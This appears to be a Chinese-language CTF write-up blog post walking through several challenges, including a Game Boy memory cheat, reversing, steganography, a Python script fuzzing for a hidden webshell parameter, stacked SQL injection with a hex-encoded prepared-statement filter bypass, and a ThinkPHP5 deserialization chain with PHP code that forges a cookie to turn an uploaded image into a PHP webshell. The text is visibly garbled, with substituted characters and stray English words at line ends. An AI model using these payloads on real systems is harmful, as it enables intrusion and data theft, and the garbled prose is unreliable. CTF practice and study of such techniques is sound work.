前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了咱们一个西班牙的比赛,不过不算是正式参赛,作题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证实你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目仍是再看一看,复现一下。php
最早开始作的即是这道MISC的题目“鲲or鳗orGame”web
进入网站后,发现鲲or鳗orGame有3个选项sql
鲲和鳗打开分别有一段mp3就是鸡你太美和大碗宽面shell
听音频除了其中一首歌前面加了几秒的键盘敲击声都没什么区别,用Audacity打开查看频谱也没有发现问题,WinHex二进制分析也没有发现什么特殊的地方,尝试使用MP3Stego提取文件,也没有找到密码,也没看到什么提示,就非常难受,就转向去分析游戏游戏如图,看了就知道怎么玩服务器
完了几把,发现难度仍是那么大,难受.jpg,查看网页源码,就是一堆js文件cookie
没有看出区别后,我仍是以为mp3会有问题,一直分析了很久,都没有结果app
比赛结束后放出了wp,看了后才明白怎么弄,在游戏页面加载时还有一个gb文件框架
将文件按目录所有保存到本地,使用VisualBoyAdvance模拟器能够打开这个gb文件,达到本地浏览效果,然且这个模拟器还有金手指功能async
打开游戏函数
后先打开一个搜索,而后完了几把,经过最高纪录和本次的分,发现主要是两个位置
将最高纪录分数改到255,使用16进制表示
再开一把游戏,无论玩到多少分,都会弹出flag
这道题也是当时看了好久,没有分析出来,看了wp才明白的,附件下载下来,并无尾缀
直接拖到IDA中F5,查看main函数,从v44到v40将本来的数字转为字符
发现最后有两个等号,果断Base64,可是第一个v44时int型的,不能计算,只记录后面的
ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==
base64 Decode
附件下载下来解压后,是一个名字为“瞅啥”的rar压缩包,解压后,一张鲲的图片
使用zsteg 获得flag
页面打开后如图
访问 wensite/www.tar.gz
获得源码压缩包,解压后3002个命名奇特的文件,并且每一个文件打开都是很奇怪的代码
看页面内容为高明的黑客,并且php文件里面也发现了大量GET和POST提交的变量,多是shell的密码,可是不知道究竟是哪一个php文件的哪一个参数,写脚本fuzz
import os
import requests
from multiprocessing import Pool
path = "/src/"#下载下来源码文件路径
files = os.listdir(path)
url = "http://localhost/src/"#网站地址
def extract(f):
gets = []
with open(path+f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])
return gets
def exp(start, end):
for i in range(start, end):
filename = files[i]
gets = extract(filename)
print "try: %s" % filename
for get in gets:
new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
r = requests.get(new_url)
if 'got it' in r.content:
print new_url
break
def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files)/15):
pool.apply_async(exp, (i, +len(files)/15,))
pool.close()
pool.join()
if __name__ == "__main__":
main()
跑出来是xk0SzyKwfzw.php
这个文件,GET提交参数Efa5BVG
直接cat获取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
这道题主要考察堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下咱们在 ; 结束一个sql语句后继续构造下一条语句,会不会一块儿执行?所以这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一块儿,二者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,能够用来执行查询语句,而堆叠注入能够执行的是任意的语句。例如如下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
随便测试一下,提交1‘ union select 1,2,3
,返回
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
存在过滤,基本关键词都被过滤了,使用堆叠注入
提交 1';show tables; #
显示
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
提交1';show columns from '1919810931114514';#
返回1919810931114514中的字段名
直接用存储过程+16进制进行绕过,,并返回结果
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
20191101添加
页面打开后,能够登录,和注册,注册一个帐号后,发现是一个上传界面
可是只能上传图片,且不会给出上传的位置,应该须要就是上传木马,可是通过尝试只能上传图片马,不能直接利用,使用dirsearch路径扫描,发现源码泄露,直接访问www.tar.gz就能够获得源码,接下来进行代码审计
是个tp5的框架系统,首先查看路由信息,主要关注index和upload_img
先看index.php,在login_check方法中,系统从cookie中获取到字符串,而后反序列化
在Profile中,在 upload_img 方法中有上传文件复制操做,而这个操做中的 $this->ext、$this->filename_tmp、$this->filename 都可经过反序列化控制。若是咱们能调用 upload_img 这一方法,在知道图片路径的状况下,就能够任意重命名图片文件,就能够实现图片马了。
在后面,还存在两个魔术方法
继续看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。若是咱们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,因此调用的时候就会触发 __call 方法,这样就造成了一条完整的攻击链。
最后的攻击链为:
Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()
咱们先上传一个图片立刻去,上传以后能够F12找到文件路径,并访问
构造以下代码,并在本地运行,获得一个cookie,使用这个cookie替换题目站得cookie
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";
public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>
连上以后,在根目录能够读flag